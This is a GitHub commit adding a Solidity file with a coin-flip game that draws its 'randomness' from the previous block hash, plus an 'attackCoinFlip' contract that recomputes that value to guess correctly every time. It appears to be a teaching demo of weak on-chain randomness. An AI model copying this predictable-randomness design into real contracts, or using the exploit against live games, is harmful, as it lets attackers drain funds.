Skip to content

Commit

Permalink
vrf
Browse files Browse the repository at this point in the history
  • Loading branch information
MahithChigurupati committed Feb 12, 2023
1 parent 2a8932e commit 06a7bfc
Showing 1 changed file with 74 additions and 0 deletions.
74 changes: 74 additions & 0 deletions coinFlip.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,74 @@
//SPDX-License-Identifier: MIT

pragma solidity ^0.8.13;

contract coinFlip {

uint public lastGame;
bool public lastWin;
uint public consecutiveWins;
uint private seed = 262662626267829762592976282929727727;


function getInfo() public view returns(uint, bytes32, uint){

uint blockNumber = block.number - 1;
bytes32 hash = blockhash(blockNumber);
uint semiRandomNumber = uint(hash);

return (blockNumber,hash,semiRandomNumber);
}

function flip(bool guess) public returns(bool){

bool flipped;
uint blockNumber = block.number - 1;
bytes32 hash = blockhash(blockNumber);
uint semiRandomNumber = uint(hash);

require(lastGame != blockNumber, "you already played this round");
lastGame = blockNumber;

if(semiRandomNumber/seed % 2 != 0){
flipped = true;
}else{
flipped = false;
}

if(flipped == guess){
consecutiveWins += 1;
lastWin = true;
return true;
}else{
consecutiveWins = 0;
lastWin = false;
return false;
}
}
}


contract attackCoinFlip {

coinFlip public coinFlipContract;
uint private seed = 262662626267829762592976282929727727;

constructor(address addy){
coinFlipContract = coinFlip(addy);
}

function tryToWin() public {

uint blockNumber = block.number - 1;
bytes32 hash = blockhash(blockNumber);
uint semiRandomNumber = uint(hash);

if(semiRandomNumber/seed % 2 != 0){
coinFlipContract.flip(true);
}else{
coinFlipContract.flip(false);
}

}

}

0 comments on commit 06a7bfc

Please sign in to comment.